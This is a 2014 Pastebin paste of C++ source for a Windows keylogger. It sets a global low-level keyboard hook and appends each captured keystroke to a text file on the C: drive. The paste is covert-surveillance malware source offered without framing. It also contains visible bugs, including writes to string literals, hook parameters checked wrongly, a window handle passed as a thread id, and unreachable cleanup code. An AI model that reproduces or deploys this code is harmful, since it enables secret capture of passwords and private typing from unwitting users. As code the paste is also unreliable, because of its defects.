Advertisement
Guest User

Untitled

a guest
Nov 27th, 2014
205
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.48 KB | None | 0 0
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <string>
  4.  
  5. HHOOK hHook;
  6. LRESULT CALLBACK keyboardhook(int nCode, WPARAM wParam, LPARAM lParam);
  7. HHOOK WINAPI SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);
  8. BOOL WINAPI UnhookWindowsHookEx(HHOOK hHook);
  9. FILE *f1;
  10. HWND hYWnd ;
  11.  
  12. LRESULT CALLBACK keyboardhook(int nCode ,WPARAM wParam, LPARAM lParam)
  13. {
  14.  
  15. char ch;
  16. WORD w;
  17. UINT scan;
  18. strcat("C","\\Report.txt");
  19. if ((lParam & 0x4000000) && (wParam==HC_ACTION))
  20. {
  21.  
  22. if ((wParam==VK_TAB)||(wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
  23. {
  24. if (!(f1=fopen("C:\\Report.txt","a+")))
  25. {
  26. MessageBox(NULL, L"Cannot Open File", L"Error", MB_ICONWARNING);
  27. return 0;
  28. }
  29. if (wParam==VK_RETURN)
  30. {
  31. ch='\n';
  32. fwrite(&ch,1,1,f1);
  33. }
  34. else
  35. {
  36. BYTE ks[256];
  37. GetKeyboardState(ks);
  38. scan=0;
  39. ToAscii(wParam,scan,ks,&w,0);
  40. ch = char(w);
  41. fwrite(&ch,1,1,f1);
  42. if (wParam==VK_TAB)
  43. {
  44. ch='\n';
  45. fwrite(&ch,1,1,f1);
  46. }
  47.  
  48. }
  49. }
  50. fclose(f1);
  51. }
  52.  
  53. return (CallNextHookEx( hHook, nCode, wParam, lParam ));
  54.  
  55. }
  56. BOOL InstallHook()
  57. {
  58. hYWnd = FindWindow(L"Untitled - Notepad", NULL);
  59. hHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)keyboardhook, NULL,hYWnd);
  60. if (hHook == NULL)
  61. {
  62. return 0;
  63. }
  64.  
  65. return 1;
  66. }
  67. BOOL UninstallHook()
  68. {
  69. if ((hHook != NULL) && (UnhookWindowsHookEx(hHook) == TRUE))
  70. {
  71. hHook = NULL;
  72. return TRUE;
  73. }
  74. return FALSE;
  75. }
  76. int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpszCmdLine, int nCmdShow)
  77. {
  78. if (InstallHook() == FALSE)
  79. {
  80. MessageBox(0,L"Can not install hook!",L"Error", 0);
  81. return -1;
  82. }
  83. MessageBox(0,L"Install hook complete",L"Compelete",0);
  84. MSG msg;
  85. BOOL bRet;
  86.  
  87. while((bRet = GetMessage(&msg, NULL, 0, 0)) != 0)
  88. {
  89. TranslateMessage(&msg);
  90. DispatchMessage(&msg);
  91. }
  92. return 0;
  93. MessageBox(0,L"Unstall hook complete",L"Compelete",0);
  94. UninstallHook();
  95. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement